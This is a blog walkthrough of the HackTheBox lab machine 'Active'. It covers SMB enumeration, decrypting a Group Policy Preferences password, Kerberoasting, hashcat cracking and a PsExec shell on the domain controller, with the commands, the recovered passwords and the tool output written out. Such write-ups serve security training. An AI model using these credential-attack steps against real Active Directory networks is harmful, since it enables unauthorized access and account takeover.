HTB - Active

HTB – Active

In this walk through, we will be going through the Active room from HackTheBox. This room is rated as Easy on the platform and it consists of Active Directory Enumeration, GPP Credential Attacks and Kerberoasting to get root. So, let’s get started without any delay.


Machine Info:

DescriptionActive is an easy to medium difficulty machine, which features two very prevalent techniques to gain privileges within an Active Directory environment.


  • I started off with an Aggressive nmap scan and found many ports opened as expected from a Windows box. The highlight here was port 88 (Kereberos) confirming that we are dealing with an Active Directory environment here. Next, the major ones were 139 and 445 (SMB). Other to look for are – 135 (RPC), 3268 (LDAP). I checked for WinRM separately at port 5985 but found it to be closed.

$ sudo nmap -A
Starting Nmap 7.80 ( ) at 2023-12-04 21:43 IST

Nmap scan report for
Host is up (0.25s latency).
Not shown: 982 closed ports
53/tcp    filtered domain
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-04 16:14:17Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
464/tcp   open     tcpwrapped
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
49152/tcp open     msrpc         Microsoft Windows RPC
49153/tcp open     msrpc         Microsoft Windows RPC
49154/tcp open     unknown
49155/tcp open     msrpc         Microsoft Windows RPC
49157/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open     unknown
49165/tcp open     msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-12-04T16:15:32
|_  start_date: 2023-12-04T15:45:49

TRACEROUTE (using port 3389/tcp)
1   240.33 ms
2   240.48 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 249.91 seconds

nmap scan

  • Tried to enumerate using RPC and LDAP services but found no luck.

enumerating RPC and LDAP

  • Next, i pivoted to SMB. List the shares using Smbclient and used Smbmap to check the permissions. Found a READ access on “Replication” Share.

smbclient -L

SMB Enumeration

smbmap -H

Smbmap output

  • Moving on, used smbclient and downloaded all the files recursively in the Replication Share. The key highlight here was the Groups.XML file which might be susceptible to GPP cpassword leak or MS14-025. Let’s check.

$ smbclient //
Password for [WORKGROUP\wh1terose]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol (1.8 KiloBytes/sec) (average 0.7 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (0.5 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (1.1 KiloBytes/sec) (average 0.7 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (3.8 KiloBytes/sec) (average 1.1 KiloBytes/sec)
smb: \> exit

Exploitation & Getting root:

GPP Credential Attack:

Connecting to the Replication Share

Found Groups.xml

  • Checked inside the groups.xml file and got the cpassword encrypted value of user SVC_TGS. We are lucky that we can easily decrypt as the key is already known in the public.

downloaded groups.xml

found GPP password

  • I used the gpp-decrypt tool that is already installed in Kali to decrypt the cpassword encrypted value and got the password for user SVC_TGS – GPPstillStandingStrong2k18.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ


GPP password cracked

Getting Access with Kerberoasting:

  • With the user password, i tried to get a shell however was unable to to do. So, i turned to Kerberosating. Used the GetUserSPNs tool to dump the Service account hash. Here the Service account is “Administrator”.

$ active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip -request
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-19 00:36:40.351723  2023-12-04 21:16:47.032136             

[-] CCache file is not found. Skipping...

  • Cracked the hash using hashcat and found the password – Ticketmaster1968.

hashcat -m 13100 hash.txt rockyou.txt -O

Hash via Kerberoasting

  • Next, i sprayed the password on the target IP using crackmapexec and the result shows “Pw3nd!”.

crackmapexec smb -u Administrator -d active.htb -p Ticketmaster1968

Sprayed password using crackmapexec

  • At last, used PsExec to get the shell access on the DC as Administrator. active.htb/Administrator:'Ticketmaster1968'@

Got root

  • Captured both the flags and completed the room.

user flag

root flag

Machine completed

Also Read: HTB – Busqueda



So that was “Active” for you. We started off with our regular nmap scan and found multiple ports opened. Enumerated the SMB service and found groups.xml file in the Replication share. The file contained the GPP password of SVC_TGS user. Cracked it and then performed Kerberoasting with that. Got Administrator service account hash using that and then cracked it to get the plain text password. At last, using the password logged into the DC as Administrator and captured both user and root flags. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top